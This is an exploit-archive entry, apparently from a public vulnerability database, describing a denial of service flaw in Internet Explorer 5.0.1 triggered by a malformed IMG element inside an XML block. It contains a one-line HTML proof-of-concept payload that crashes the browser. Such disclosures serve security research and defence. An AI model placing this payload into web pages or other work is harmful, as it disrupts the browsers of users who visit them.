Microsoft Internet Explorer 5.0.1 - Malformed .IMG / .XML Parsing Denial of Service

Author: Inge Henriksen
type: dos
platform: windows
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date_added: 2006-01-16 
date_updated: 2013-07-25 
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source: https://www.securityfocus.com/bid/16240/info

Microsoft Internet Explorer is affected by a denial of service vulnerability.

This issue presents itself when the browser handles a specially crafted IMG element in a malformed XML block.

An attacker may exploit this issue by enticing a user to visit a malicious site resulting in a denial of service condition in the application.

A proof of concept is available:
<table><tr><td><IMG align=left>X X X<?xml:namespace prefix=v ><v:X style="HEIGHT:1"></td></tr></table>